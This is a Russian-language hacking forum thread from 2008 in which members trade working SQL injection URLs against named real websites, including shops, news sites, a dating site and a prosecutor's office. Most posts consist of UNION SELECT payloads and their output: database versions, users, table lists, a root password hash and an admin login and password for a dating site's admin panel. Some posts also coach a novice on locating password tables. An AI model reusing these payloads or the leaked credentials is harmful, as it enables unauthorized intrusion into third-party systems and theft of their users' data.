SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://vtorgrad.ru/tovar.php?id=495&tid=80203+union+select+1,2,3,4,5,6,7,8,9,10,11,12,version(),14,15,16,17,18,19,20,21,22,23,24,25/*
    5.0.32-Debian_7etch5
    тиц: 30 пр: 4

    Code:
    http://www.cifracenter.ru/tovar.php?ID=7439+union+select+1,2,3,4,5,6,7,8,9,10,11--
    5.0.67-log

    Code:
    http://www.rp.delo.ua/tovar.php?id=5179+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34/*
    5.0.45-community
    тиц: 30 пр: 4

    Code:
    http://www.mirbatareek.ru/tovar.php?ID=156+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13--
    5.0.67-log
    тиц: 20 пр: 4

    Code:
    http://www.coolerok.ru/tovar.php?tovar=9602'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
    пр: 3

    Code:
    http://www.ventasport.ru/tovar.php?id=11+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
    тиц: 40 пр: 4

    Code:
    http://telax.ru/tovar.php?ID=300+union+select+1,2,3,4,5,6,7,8,9,version(),11,12,13--
    5.0.67-log
    тиц: 10 пр: 2
     
    _________________________
    2 people like this.
  2. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    Trading Company

    www.advicetrade.com

    5.0.60-log::advicetrade::advicetrade@localhost

    Есть много интересного (сс тоже присутствуют))
    Дампьте сами, версия пятая.

    Свежак!

    С наступающим!
     
    4 people like this.
  3. I love this game

    I love this game Elder - Старейшина

    Joined:
    23 Dec 2008
    Messages:
    167
    Likes Received:
    38
    Reputations:
    18
    _http://www.remsoft.com/news.php?id=-22+union+select+version()--

    4.1.22-community-nt-log

    --------

    _http://www.spencerclarke.com/oc_newsitem.php?id=-32+union+select+1,2,3,4,5--

    --------

    _http://www.optometry.co.uk/newsview.php?id=-22+union+select+1,version(),3,4,5,6,7,8,9,10--

    5.0.51a-community-log

    --------

    _http://www.widescreenreview.com/blog_detail.php?id=-23+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16--

    4.1.22-standard


     
    2 people like this.
  4. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://www.sottera.ru/tovar.php?ID=14801+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13--
    5.0.67-log

    Code:
    http://www.audiohome.ru/tovar.php?id=129+union+select+1,2,3,4,5,6,7,8,9,10,11/*
    Code:
    http://www.osheyniki.ru/tovar.php?id=64+union+select+version(),2,3,4,5/*
    4.1.22-standard
    тиц: 10

    Code:
    http://www.mksm-kmz.ru/tovar.php?id=-10'+union+select+1,2,3,4,5,6--
    тиц: 50 пр: 4

    Code:
    http://www.stanko-nct.ru/tovar.php?id=-152+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13/*
    4.1.22-log
    тиц: 30 пр: 4
     
    _________________________
    1 person likes this.
  5. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    58
    Likes Received:
    43
    Reputations:
    0
    http://www.planepictures.net/netshow.php?id=-1+union+select+1,2,3,version(),5,6,7,8,9,10--
    4.0.21-Max
    http://www.planepictures.net/netshow.php?id=-1+union+select+1,2,3,concat_ws(char(32,45,32),user,password),5,6,7,8,9,10+from+mysql.user--
    http://www.infocompanies.com/company.php?id=-1+union+select+1,unhex(hex(group_concat(table_name))),3,4,5,6,7,8,9,10,11,12,13,14,15+from+information_schema.tables--
     
    #7125 masternet, 26 Dec 2008
    Last edited: 26 Dec 2008
    1 person likes this.
  6. -=Razor=-

    -=Razor=- Member

    Joined:
    20 Dec 2008
    Messages:
    30
    Likes Received:
    29
    Reputations:
    3
    Version: 4.1.22
    database:wwwspecialradior_specialradio
    user: [email protected]
    ТИЦ:1000
    PR: 6


    version: 4.1.20
    database: changeyourrangebs
    user:emcelwey@localhost

    PR: 2
    4.1.22-standardsandbags_sand@localhostsandbags_sand
     
    1 person likes this.
  7. I love this game

    I love this game Elder - Старейшина

    Joined:
    23 Dec 2008
    Messages:
    167
    Likes Received:
    38
    Reputations:
    18
    _http://www.pcibooks.com/book_info.php?id=-33+union+select+1,2,version(),4,5,6,7,8,9,10,11,12--

    4.1.22-log

    ----------

    _http://www.rightwingnews.com/author.php?id=-33+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,version(),18,19,20,21,22,23,24,25,26,27--

    5.0.67-community

    -----------

    _http://www.tasouganda.org/newsdetail.php?id=-33+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13--

    4.0.24_Debian-10ubuntu2.3-log

    -----------

    _http://www.artstatements.com/artist_dtl.php?id=-33+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42--

    5.0.67-msl-icd1-log

    -----------

    _http://www.michaelpollan.com/article.php?id=-33+union+select+1,2,3,4,5,6,version(),8,9,10--

    4.1.22-standard


     
    3 people like this.
  8. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.pcibooks.com/book_info.php?id=-33+union+select+1,2,concat_ws(0x3a,user,password),4,5,6,7,8,9,10,11,12%20+from+mysql.user--
    Code:
    http://www.artstatements.com/artist_dtl.php?id=-33+union+select+1,2,3,4,5,6,7,8,concat(table_schema,0x3a,table_name,0x3a,column_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+information_schema.columns+limit+1,1--
    Перебираем таблици с колонками...
    Остальные стало лень...(((
     
    #7128 -m0rgan-, 26 Dec 2008
    Last edited: 26 Dec 2008
    2 people like this.
  9. Tyc00n

    Tyc00n Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    30
    Likes Received:
    25
    Reputations:
    -1
    SQL-INJ:
    Code:
    http://[COLOR=Navy]www.devochki.com[/COLOR]/members/profile.php?pid=-327
    Code:
    http://www.devochki.com/members/profile.php?pid=-327+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39--
    Code:
    Version - [COLOR=DarkGreen]5.0.67[/COLOR]-community-log
    User - devochki_dating@localhost
    Database - devochki_dating
    Code:
    http://www.devochki.com//members/profile.php?pid=-327+union+select+1,concat(fusername,0x3a,fpassword),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+atadmin--
    Админка
    Code:
    http://www.devochki.com/admin/
    krasi0:123 
     
    1 person likes this.
  10. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    не прет сегодня на скули..
    Code:
    http://www.heimlichinstitute.org/page.php?id=-4+union+select+1,2,3,4/*
    пр: 5
     
    _________________________
    2 people like this.
  11. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Это верно..

    http://www.yesoudo.com/channel_detail.php?chid=-15+union+select+1,concat_ws(0x3a3a,version(),user(),database()),3,4,5,6,7,8,9--

    http://www.yesoudo.com/channel_detail.php?chid=-15+union+select+1,concat_ws(0x3a3a,user,password),3,4,5,6,7,8,9+from+mysql.user--

    root::*29D1EAE62F6F4F8D245F4F03DC8D4B6FD99516C4

    version:5.0.21-log
    user:root@localhost
    database:yesoudo

    Татуировочки..

    http://tatty.ru/galary/index.php?id=-41+union+select+1,concat_ws(0x3a3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13/*

    version:4.1.22
    user:[email protected]
    database:tropico_db
     
    2 people like this.
  12. vladvk

    vladvk New Member

    Joined:
    22 Dec 2008
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    Чтото я не вьеду а где пароли:
    http://www.artmos.ru/art.php?st=-4+union+select+1,table_name,3+from+information_schema.tables--
     
  13. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Это ты вывел все таблицы, которые есть в базе сайта, но не пароли!
     
    1 person likes this.
  14. Thrasher88

    Thrasher88 Elder - Старейшина

    Joined:
    18 Apr 2008
    Messages:
    62
    Likes Received:
    13
    Reputations:
    0
    Поиском ничего из этого не нашел, так что извиняете, если уже было..

    trud.ru - интернет-издание :p
    Version - 4.1.21-log
    User - trudinfo@localhost
    Database - trudinfo_db

    Google PR: 8
    Yandex тИЦ: 6900
    Alexa.com: 3429

    apa.az - азербайджанский новостной сайт
    Version 5.0.67-community
    User apaadm_user@localhost
    Database apaadm_ru

    Google PR: 6

    www.remsoft.com - "программное обеспечение для промышленности"
    Version 4.1.22-community-nt-log
    User remsoft@WSH-004
    Database remsoft

    Google PR: 5

    www.chuvprok.gov.ru - сайт Прокуратуры Чувашской области :)
    Version 4.0.17-nt
    User prokuratura@localhost
    Database prokuratura
     
    #7134 Thrasher88, 27 Dec 2008
    Last edited: 27 Dec 2008
    1 person likes this.
  15. vladvk

    vladvk New Member

    Joined:
    22 Dec 2008
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    Да я знаю что таблици и колонки выводил но в какой таблици могут быть пороли ума не прилажу
     
  16. masternet

    masternet Elder - Старейшина

    Joined:
    18 May 2008
    Messages:
    58
    Likes Received:
    43
    Reputations:
    0
    нет,не все..а только первую..а всё выводятся так:
    http://www.artmos.ru/art.php?st=-4+union+select+1,unhex(hex(group_concat(table_name))),3+from+information_schema.tables--
    пассов тут и не должно быть по мойму..сайт ваще чо-то стрёмный..
    File_priv - N
    админки думаю нет..табл никаких норм нет..
    p.s. учите русский язык и пишите норм.
     
  17. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Здесь 3 бд:
    Code:
    information_schema
    Code:
    avtosite_art
    Code:
    test
    Выведим из всех бд название таблиц и колонок:
    Code:
    http://www.artmos.ru/art.php?st=-4+union+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name),3+from+information_schema.columns--
    Ну а далюше уже сам их перебирай, мож чет и найдешь... ;)
     
    #7137 -m0rgan-, 27 Dec 2008
    Last edited: 27 Dec 2008
  18. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Code:
    http://www.heimlichinstitute.org/page.php?id=-4+union+select+1,convert(concat(table_schema,0x3a,table_name,0x3a,column_name) using latin1),3,4+from+information_schema.columns+limit+1,1--
    Там менще 30таблиц и больше 100 колонок...
     
  19. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Ы) У мну фтпшник есть к хостингу этого сайта =).
    http://www.artmos.ru/xfile.htm
     
  20. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Таблиц: 44
    Code:
     st_adruweb
     st_allavtotuning
     st_artmos
     st_avtositeinfo
     st_avtositeru
     st_bugattiinfo
     st_chryslerinfo
     st_doktoru
     st_elpages
     st_emasters
     st_euroavtomobiles
     st_evronedvizhimost
     st_evrooknapvh
     st_ferrariinfo
     st_fordinfo
     st_greatsettop
     st_kamaz
     st_kriminal
     st_lamborghiniinfo
     st_marketru
     st_med
     st_mlogo
     st_mmf
     st_mobiart
     st_mobilasoft
     st_mobileafisha
     st_mobilextreme
     st_mytehavto
     st_onliner
     st_polyfoniya
     st_prestizhnedv
     st_pro
     st_realwebsite
     st_renoclub
     st_rostdohodov
     st_rosttic
     st_scanditour
     st_style
     st_tehokna
     st_teklait
     st_tel
     st_valeh
     st_virsklad
     st_you
     
    #7140 mailbrush, 27 Dec 2008
    Last edited: 27 Dec 2008
Thread Status:
Not open for further replies.